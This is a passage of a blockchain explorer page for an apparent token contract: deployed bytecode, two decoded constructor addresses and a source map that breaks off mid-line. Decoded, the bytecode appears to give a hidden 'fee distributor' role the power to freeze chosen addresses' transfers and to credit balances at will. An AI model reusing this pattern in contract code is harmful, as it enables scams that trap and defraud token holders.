00000000000000005c69bee701ef814a2b6a3edd4b1652cb9cc5aa6f

Deployed Bytecode

0x608060405234801561001057600080fd5b50600436106101165760003560e01c8063715018a6116100a25780639f08b319116100715780639f08b319146102e5578063a457c2d714610301578063a9059cbb14610331578063dd62ed3e14610361578063e074839e1461039157610116565b8063715018a61461026f5780638ab7e5d6146102795780638da5cb5b146102a957806395d89b41146102c757610116565b80631fda29cf116100e95780631fda29cf146101a557806323b872dd146101c1578063313ce567146101f1578063395093511461020f57806370a082311461023f57610116565b806306fdde031461011b578063095ea7b3146101395780630cfccc831461016957806318160ddd14610187575b600080fd5b6101236103ad565b60405161013091906117cb565b60405180910390f35b610153600480360381019061014e9190611514565b61043f565b60405161016091906117b0565b60405180910390f35b61017161045d565b60405161017e919061194d565b60405180910390f35b61018f610467565b60405161019c919061194d565b60405180910390f35b6101bf60048036038101906101ba9190611550565b610471565b005b6101db60048036038101906101d691906114c5565b61064b565b6040516101e891906117b0565b60405180910390f35b6101f9610743565b6040516102069190611968565b60405180910390f35b61022960048036038101906102249190611514565b61074c565b60405161023691906117b0565b60405180910390f35b61025960048036038101906102549190611460565b6107f8565b604051610266919061194d565b60405180910390f35b610277610841565b005b610293600480360381019061028e9190611460565b6108c9565b6040516102a091906117b0565b60405180910390f35b6102b161091f565b6040516102be9190611795565b60405180910390f35b6102cf610948565b6040516102dc91906117cb565b60405180910390f35b6102ff60048036038101906102fa9190611460565b6109da565b005b61031b60048036038101906103169190611514565b610b7c565b60405161032891906117b0565b60405180910390f35b61034b60048036038101906103469190611514565b610c67565b60405161035891906117b0565b60405180910390f35b61037b60048036038101906103769190611489565b610c85565b604051610388919061194d565b60405180910390f35b6103ab60048036038101906103a69190611460565b610d0c565b005b6060600780546103bc90611ab1565b80601f01602080910402602001604051908101604052809291908181526020018280546103e890611ab1565b80156104355780601f1061040a57610100808354040283529160200191610435565b820191906000526020600020905b81548152906001019060200180831161041857829003601f168201915b5050505050905090565b600061045361044c610e27565b8484610e2f565b6001905092915050565b6000600654905090565b6000600554905090565b3373ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610501576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104f89061190d565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610571576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105689061184d565b60405180910390fd5b816005600082825461058391906119f5565b9250508190555080600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546105d9919061199f565b92505081905550600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161063e919061194d565b60405180910390a3505050565b6000610658848484610ffa565b6000600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006106a3610e27565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015610723576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161071a9061186d565b60405180910390fd5b6107378561072f610e27565b858403610e2f565b60019150509392505050565b60006009905090565b60006107ee610759610e27565b848460036000610767610e27565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546107e9919061199f565b610e2f565b6001905092915050565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610849610e27565b73ffffffffffffffffffffffffffffffffffffffff1661086761091f565b73ffffffffffffffffffffffffffffffffffffffff16146108bd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108b49061188d565b60405180910390fd5b6108c76000611368565b565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606008805461095790611ab1565b80601f016020809104026020016040519081016040528092919081815260200182805461098390611ab1565b80156109d05780601f106109a5576101008083540402835291602001916109d0565b820191906000526020600020905b8154815290600101906020018083116109b357829003601f168201915b5050505050905090565b3373ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a6a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a619061190d565b60405180910390fd5b60011515600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615151415610b20576000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550610b79565b6001600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b50565b60008060036000610b8b610e27565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015610c48576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c3f9061192d565b60405180910390fd5b610c5c610c53610e27565b85858403610e2f565b600191505092915050565b6000610c7b610c74610e27565b8484610ffa565b6001905092915050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610d14610e27565b73ffffffffffffffffffffffffffffffffffffffff16610d3261091f565b73ffffffffffffffffffffffffffffffffffffffff1614610d88576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d7f9061188d565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610de357600080fd5b80600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610e9f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e96906118ed565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610f0f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f069061180d565b60405180910390fd5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610fed919061194d565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561106a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611061906118ad565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156110da576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110d1906117ed565b60405180910390fd5b600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168061117b5750600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b156111c457600081146111c3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111ba906118cd565b60405180910390fd5b5b6111cf83838361142c565b6000600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015611256576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161124d9061182d565b60405180910390fd5b818103600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546112eb919061199f565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161134f919061194d565b60405180910390a3611362848484611431565b50505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b505050565b505050565b60008135905061144581611e1f565b92915050565b60008135905061145a81611e36565b92915050565b60006020828403121561147257600080fd5b600061148084828501611436565b91505092915050565b6000806040838503121561149c57600080fd5b60006114aa85828601611436565b92505060206114bb85828601611436565b9150509250929050565b6000806000606084860312156114da57600080fd5b60006114e886828701611436565b93505060206114f986828701611436565b925050604061150a8682870161144b565b9150509250925092565b6000806040838503121561152757600080fd5b600061153585828601611436565b92505060206115468582860161144b565b9150509250929050565b60008060006060848603121561156557600080fd5b600061157386828701611436565b93505060206115848682870161144b565b92505060406115958682870161144b565b9150509250925092565b6115a881611a29565b82525050565b6115b781611a3b565b82525050565b60006115c882611983565b6115d2818561198e565b93506115e2818560208601611a7e565b6115eb81611b41565b840191505092915050565b600061160360238361198e565b915061160e82611b52565b604082019050919050565b600061162660228361198e565b915061163182611ba1565b604082019050919050565b600061164960268361198e565b915061165482611bf0565b604082019050919050565b600061166c602c8361198e565b915061167782611c3f565b604082019050919050565b600061168f60288361198e565b915061169a82611c8e565b604082019050919050565b60006116b260208361198e565b91506116bd82611cdd565b602082019050919050565b60006116d560258361198e565b91506116e082611d06565b604082019050919050565b60006116f860008361198e565b915061170382611d55565b600082019050919050565b600061171b60248361198e565b915061172682611d58565b604082019050919050565b600061173e601d8361198e565b915061174982611da7565b602082019050919050565b600061176160258361198e565b915061176c82611dd0565b604082019050919050565b61178081611a67565b82525050565b61178f81611a71565b82525050565b60006020820190506117aa600083018461159f565b92915050565b60006020820190506117c560008301846115ae565b92915050565b600060208201905081810360008301526117e581846115bd565b905092915050565b60006020820190508181036000830152611806816115f6565b9050919050565b6000602082019050818103600083015261182681611619565b9050919050565b600060208201905081810360008301526118468161163c565b9050919050565b600060208201905081810360008301526118668161165f565b9050919050565b6000602082019050818103600083015261188681611682565b9050919050565b600060208201905081810360008301526118a6816116a5565b9050919050565b600060208201905081810360008301526118c6816116c8565b9050919050565b600060208201905081810360008301526118e6816116eb565b9050919050565b600060208201905081810360008301526119068161170e565b9050919050565b6000602082019050818103600083015261192681611731565b9050919050565b6000602082019050818103600083015261194681611754565b9050919050565b60006020820190506119626000830184611777565b92915050565b600060208201905061197d6000830184611786565b92915050565b600081519050919050565b600082825260208201905092915050565b60006119aa82611a67565b91506119b583611a67565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156119ea576119e9611ae3565b5b828201905092915050565b6000611a0082611a67565b9150611a0b83611a67565b925082821015611a1e57611a1d611ae3565b5b828203905092915050565b6000611a3482611a47565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60005b83811015611a9c578082015181840152602081019050611a81565b83811115611aab576000848401525b50505050565b60006002820490506001821680611ac957607f821691505b60208210811415611add57611adc611b12565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a206275726e2066726f6d20746865207a65726f2061646472657360008201527f7320646973616c6c6f7765640000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206160008201527f6c6c6f77616e6365000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b50565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f43616c6c6572206973206e6f7420666565206469737472696275746f72000000600082015250565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b611e2881611a29565b8114611e3357600080fd5b50565b611e3f81611a67565b8114611e4a57600080fd5b5056fea2646970667358221220bbf0b889c9f2443d4e9a84ac79ab3801bdb42887f07d69ebae04efa2e191c66964736f6c63430008010033

Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)

0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d0000000000000000000000005c69bee701ef814a2b6a3edd4b1652cb9cc5aa6f

-----Decoded View---------------
Arg [0] : rter (address): 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
Arg [1] : fctr (address): 0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f

-----Encoded View---------------
2 Constructor Arguments found :
Arg [0] : 0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d
Arg [1] : 0000000000000000000000005c69bee701ef814a2b6a3edd4b1652cb9cc5aa6f


Deployed Bytecode Sourcemap

552:6649:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;1647:100;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3036:169;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1487:90;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2226:108;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3842:332;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;3271:474;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2069:92;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4284:215;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2397:127;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2033:103:2;;;:::i;:::-;;6658:112:0;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;944:87:2;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1858:104:0;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6447:200;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;4609:397;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2586:175;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2824:151;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1537:145:2;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;1647:100:0;1701:13;1734:5;1727:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;1647:100;:::o;3036:169::-;3119:4;3136:39;3145:12;:10;:12::i;:::-;3159:7;3168:6;3136:8;:39::i;:::-;3193:4;3186:11;;3036:169;;;;:::o;1487:90::-;1532:7;1559:10;;1552:17;;1487:90;:::o;2226:108::-;2287:7;2314:12;;2307:19;;2226:108;:::o;3842:332::-;1409:10:2;1393:26;;:12;;;;;;;;;;;:26;;;1385:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;3984:1:0::1;3965:21;;:7;:21;;;;3957:78;;;;;;;;;;;;:::i;:::-;;;;;;;;;4062:7;4046:12;;:23;;;;;;;:::i;:::-;;;;;;;;4102:10;4080:9;:18;4090:7;4080:18;;;;;;;;;;;;;;;;:32;;;;;;;:::i;:::-;;;;;;;;4154:1;4128:38;;4137:7;4128:38;;;4158:7;4128:38;;;;;;:::i;:::-;;;;;;;;3842:332:::0;;;:::o;3271:474::-;3411:4;3428:36;3438:6;3446:9;3457:6;3428:9;:36::i;:::-;3475:24;3502:11;:19;3514:6;3502:19;;;;;;;;;;;;;;;:33;3522:12;:10;:12::i;:::-;3502:33;;;;;;;;;;;;;;;;3475:60;;3574:6;3554:16;:26;;3546:79;;;;;;;;;;;;:::i;:::-;;;;;;;;;3657:57;3666:6;3674:12;:10;:12::i;:::-;3707:6;3688:16;:25;3657:8;:57::i;:::-;3733:4;3726:11;;;3271:474;;;;;:::o;2069:92::-;2127:5;2152:1;2145:8;;2069:92;:::o;4284:215::-;4372:4;4389:80;4398:12;:10;:12::i;:::-;4412:7;4458:10;4421:11;:25;4433:12;:10;:12::i;:::-;4421:25;;;;;;;;;;;;;;;:34;4447:7;4421:34;;;;;;;;;;;;;;;;:47;;;;:::i;:::-;4389:8;:80::i;:::-;4487:4;4480:11;;4284:215;;;;:::o;2397:127::-;2471:7;2498:9;:18;2508:7;2498:18;;;;;;;;;;;;;;;;2491:25;;2397:127;;;:::o;2033:103:2:-;1175:12;:10;:12::i;:::-;1164:23;;:7;:5;:7::i;:::-;:23;;;1156:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;2098:30:::1;2125:1;2098:18;:30::i;:::-;2033:103::o:0;6658:112:0:-;6716:4;6740:12;:22;6753:8;6740:22;;;;;;;;;;;;;;;;;;;;;;;;;6733:29;;6658:112;;;:::o;944:87:2:-;990:7;1017:6;;;;;;;;;;;1010:13;;944:87;:::o;1858:104:0:-;1914:13;1947:7;1940:14;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;1858:104;:::o;6447:200::-;1409:10:2;1393:26;;:12;;;;;;;;;;;:26;;;1385:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;6553:4:0::1;6527:30;;:12;:22;6540:8;6527:22;;;;;;;;;;;;;;;;;;;;;;;;;:30;;;6523:117;;;6585:5;6560:12;:22;6573:8;6560:22;;;;;;;;;;;;;;;;:30;;;;;;;;;;;;;;;;;;6523:117;;;6633:4;6608:12;:22;6621:8;6608:22;;;;;;;;;;;;;;;;:29;;;;;;;;;;;;;;;;;;6523:117;6447:200:::0;:::o;4609:397::-;4702:4;4719:24;4746:11;:25;4758:12;:10;:12::i;:::-;4746:25;;;;;;;;;;;;;;;:34;4772:7;4746:34;;;;;;;;;;;;;;;;4719:61;;4819:15;4799:16;:35;;4791:85;;;;;;;;;;;;:::i;:::-;;;;;;;;;4908:67;4917:12;:10;:12::i;:::-;4931:7;4959:15;4940:16;:34;4908:8;:67::i;:::-;4994:4;4987:11;;;4609:397;;;;:::o;2586:175::-;2672:4;2689:42;2699:12;:10;:12::i;:::-;2713:9;2724:6;2689:9;:42::i;:::-;2749:4;2742:11;;2586:175;;;;:::o;2824:151::-;2913:7;2940:11;:18;2952:5;2940:18;;;;;;;;;;;;;;;:27;2959:7;2940:27;;;;;;;;;;;;;;;;2933:34;;2824:151;;;;:::o;1537:145:2:-;1175:12;:10;:12::i;:::-;1164:23;;:7;:5;:7::i;:::-;:23;;;1156:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;1638:1:::1;1614:26;;:12;;;;;;;;;;;:26;;;1605:36;;;::::0;::::1;;1667:7;1652:12;;:22;;;;;;;;;;;;;;;;;;1537:145:::0;:::o;95:98::-;148:7;175:10;168:17;;95:98;:::o;5979:378:0:-;6132:1;6115:19;;:5;:19;;;;6107:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;6213:1;6194:21;;:7;:21;;;;6186:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;6295:6;6265:11;:18;6277:5;6265:18;;;;;;;;;;;;;;;:27;6284:7;6265:27;;;;;;;;;;;;;;;:36;;;;6333:7;6317:32;;6326:5;6317:32;;;6342:6;6317:32;;;;;;:::i;:::-;;;;;;;;5979:378;;;:::o;5100:766::-;5224:1;5206:20;;:6;:20;;;;5198:70;;;;;;;;;;;;:::i;:::-;;;;;;;;;5308:1;5287:23;;:9;:23;;;;5279:71;;;;;;;;;;;;:::i;:::-;;;;;;;;;5365:12;:20;5378:6;5365:20;;;;;;;;;;;;;;;;;;;;;;;;;:47;;;;5389:12;:23;5402:9;5389:23;;;;;;;;;;;;;;;;;;;;;;;;;5365:47;5361:78;;;5433:1;5423:6;:11;5414:25;;;;;;;;;;;;:::i;:::-;;;;;;;;;5361:78;5450:47;5471:6;5479:9;5490:6;5450:20;:47::i;:::-;5508:21;5532:9;:17;5542:6;5532:17;;;;;;;;;;;;;;;;5508:41;;5585:6;5568:13;:23;;5560:74;;;;;;;;;;;;:::i;:::-;;;;;;;;;5702:6;5686:13;:22;5666:9;:17;5676:6;5666:17;;;;;;;;;;;;;;;:42;;;;5744:6;5720:9;:20;5730:9;5720:20;;;;;;;;;;;;;;;;:30;;;;;;;:::i;:::-;;;;;;;;5783:9;5766:35;;5775:6;5766:35;;;5794:6;5766:35;;;;;;:::i;:::-;;;;;;;;5812:46;5832:6;5840:9;5851:6;5812:19;:46::i;:::-;5100:766;;;;:::o;2296:191:2:-;2370:16;2389:6;;;;;;;;;;;2370:25;;2415:8;2406:6;;:17;;;;;;;;;;;;;;;;;;2470:8;2439:40;;2460:8;2439:40;;;;;;;;;;;;2296:191;;:::o;6860:125:0:-;;;;:::o;7074:124::-;;;;:::o;7:139:3:-;;91:6;78:20;69:29;;107:33;134:5;107:33;:::i;:::-;59:87;;;;:::o;152:139::-;;236:6;223:20;214:29;;252:33;279:5;252:33;:::i;:::-;204:87;;;;:::o;297:262::-;;405:2;393:9;384:7;380:23;376:32;373:2;;;421:1;418;411:12;373:2;464:1;489:53;534:7;525:6;514:9;510:22;489:53;:::i;:::-;479:63;;435:117;363:196;;;;:::o;565:407::-;;;690:2;678:9;669:7;665:23;661:32;658:2;;;706:1;703;696:12;658:2;749:1;774:53;819:7;810:6;799:9;795:22;774:53;:::i;:::-;764:63;;720:117;876:2;902:53;947:7;938:6;927:9;923:22;902:53;:::i;:::-;892:63;;847:118;648:324;;;;;:::o;978:552::-;;;;1120:2;1108:9;1099:7;1095:23;1091:32;1088:2;;;1136:1;1133;1126:12;1088:2;1179:1;1204:53;1249:7;1240:6;1229:9;1225:22;1204:53;:::i;:::-;1194:63;;1150:117;1306:2;1332:53;1377:7;1368:6;1357:9;1353:22;1332:53;:::i;:::-;1322:63;;1277:118;1434:2;1460:53;1505:7;1496:6;1485:9;1481:22;1460:53;:::i;:::-;1450:63;;1405:118;1078:452;;;;;:::o;1536:407::-;;;1661:2;1649:9;1640:7;1636:23;1632:32;1629:2;;;1677:1;1674;1667:12;1629:2;1720:1;1745:53;1790:7;1781:6;1770:9;1766:22;1745:53;:::i;:::-;1735:63;;1691:117;1847:2;1873:53;1918:7;1909:6;1898:9;1894:22;1873:53;:::i;:::-;1863:63;;1818:118;1619:324;;;;;:::o;1949:552::-;;;;2091:2;2079:9;2070:7;2066:23;2062:32;2059:2;;;2107:1;2104;2097:12;2059:2;2150:1;2175:53;2220:7;2211:6;2200:9;2196:22;2175:53;:::i;:::-;2165:63;;2121:117;2277:2;2303:53;2348:7;2339:6;2328:9;2324:22;2303:53;:::i;:::-;2293:63;;2248:118;2405:2;2431:53;2476:7;2467:6;2456:9;2452:22;2431:53;:::i;:::-;2421:63;;2376:118;2049:452;;;;;:::o;2507:118::-;2594:24;2612:5;2594:24;:::i;:::-;2589:3;2582:37;2572:53;;:::o;2631:109::-;2712:21;2727:5;2712:21;:::i;:::-;2707:3;2700:34;2690:50;;:::o;2746:364::-;;2862:39;2895:5;2862:39;:::i;:::-;2917:71;2981:6;2976:3;2917:71;:::i;:::-;2910:78;;2997:52;3042:6;3037:3;3030:4;3023:5;3019:16;2997:52;:::i;:::-;3074:29;3096:6;3074:29;:::i;:::-;3069:3;3065:39;3058:46;;2838:272;;;;;:::o;3116:366::-;;3279:67;3343:2;3338:3;3279:67;:::i;:::-;3272:74;;3355:93;3444:3;3355:93;:::i;:::-;3473:2;3468:3;3464:12;3457:19;;3262:220;;;:::o;3488:366::-;;3651:67;3715:2;3710:3;3651:67;:::i;:::-;3644:74;;3727:93;3816:3;3727:93;:::i;:::-;3845:2;3840:3;3836:12;3829:19;;3634:220;;;:::o;3860:366::-;;4023:67;4087:2;4082:3;4023:67;:::i;:::-;4016:74;;4099:93;4188:3;4099:93;:::i;:::-;4217:2;4212:3;4208:12;4201:19;;4006:220;;;:::o;4232:366::-;;4395:67;4459:2;4454:3;4395:67;:::i;:::-;4388:74;;4471:93;4560:3;4471:93;:::i;:::-;4589:2;4584:3;4580:12;4573:19;;4378:220;;;:::o;4604:366::-;;4767:67;4831:2;4826:3;4767:67;:::i;:::-;4760:74;;4843:93;4932:3;4843:93;:::i;:::-;4961:2;4956:3;4952:12;4945:19;;4750:220;;;:::o;4976:366::-;;5139:67;5203:2;5198:3;5139:67;:::i;:::-;5132:74;;5215:93;5304:3;5215:93;:::i;:::-;5333:2;5328:3;5324:12;5317:19;;5122:220;;;:::o;5348:366::-;;5511:67;5575:2;5570:3;5511:67;:::i;:::-;5504:74;;5587:93;5676:3;5587:93;:::i;:::-;5705:2;5700:3;5696:12;5689:19;;5494:220;;;:::o;5720:364::-;;5883:66;5947:1;5942:3;5883:66;:::i;:::-;5876:73;;5958:93;6047:3;5958:93;:::i;:::-;6076:1;6071:3;6067:11;6060:18;;5866:218;;;:::o;6090:366::-;;6253:67;6317:2;6312:3;6253:67;:::i;:::-;6246:74;;6329:93;6418:3;6329:93;:::i;:::-;6447:2;6442:3;6438:12;6431:19;;6236:220;;;:::o;6462:366::-;;6625:67;6689:2;6684:3;6625:67;:::i;:::-;6618:74;;6701:93;6790:3;6701:93;:::i;:::-;6819:2;6814:3;6810:12;6803:19;;6608:220;;;:::o;6834:366::-;;6997:67;7061:2;7056:3;6997:67;:::i;:::-;6990:74;;7073:93;7162:3;7073:93;:::i;:::-;7191:2;7186:3;7182:12;7175:19;;6980:220;;;:::o;7206:118::-;7293:24;7311:5;7293:24;:::i;:::-;7288:3;7281:37;7271:53;;:::o;7330:112::-;7413:22;7429:5;7413:22;:::i;:::-;7408:3;7401:35;7391:51;;:::o;7448:222::-;;7579:2;7568:9;7564:18;7556:26;;7592:71;7660:1;7649:9;7645:17;7636:6;7592:71;:::i;:::-;7546:124;;;;:::o;7676:210::-;;7801:2;7790:9;7786:18;7778:26;;7814:65;7876:1;7865:9;7861:17;7852:6;7814:65;:::i;:::-;7768:118;;;;:::o;7892:313::-;;8043:2;8032:9;8028:18;8020:26;;8092:9;8086:4;8082:20;8078:1;8067:9;8063:17;8056:47;8120:78;8193:4;8184:6;8120:78;:::i;:::-;8112:86;;8010:195;;;;:::o;8211:419::-;;8415:2;8404:9;8400:18;8392:26;;8464:9;8458:4;8454:20;8450:1;8439:9;8435:17;8428:47;8492:131;8618:4;8492:131;:::i;:::-;8484:139;;8382:248;;;:::o;8636:419::-;;8840:2;8829:9;8825:18;8817:26;;8889:9;8883:4;8879:20;8875:1;8864:9;8860:17;8853:47;8917:131;9043:4;8917:131;:::i;:::-;8909:139;;8807:248;;;:::o;9061:419::-;;9265:2;9254:9;9250:18;9242:26;;9314:9;9308:4;9304:20;9300:1;9289:9;9285:17;9278:47;9342:131;9468:4;9342:131;:::i;:::-;9334:139;;9232:248;;;:::o;9486:419::-;;9690:2;9679:9;9675:18;9667:26;;9739:9;9733:4;9729:20;9725:1;9714:9;9710:17;9703:47;9767:131;9893:4;9767:131;:::i;:::-;9759:139;;9657:248;;;:::o;9911:419::-;;10115:2;10104:9;10100:18;10092:26;;10164:9;10158:4;10154:20;10150:1;10139:9;10135:17;10128:47;10192:131;10318:4;10192:131;:::i;:::-;10184:139;;10082:248;;;:::o;10336:419::-;;10540:2;10529:9;10525:18;10517:26;;10589:9;10583:4;10579:20;10575:1;10564:9;10560:17;10553:47;10617:131;10743:4;10617:131;:::i;:::-;10609:139;;10507:248;;;:::o;10761:419::-;;10965:2;10954:9;10950:18;10942:26;;11014:9;11008:4;11004:20;11000:1;10989:9;10985:17;10978:47;11042:131;11168:4;11042:131;:::i;:::-;11034:139;;10932:248;;;:::o;11186:419::-;;11390:2;11379:9;11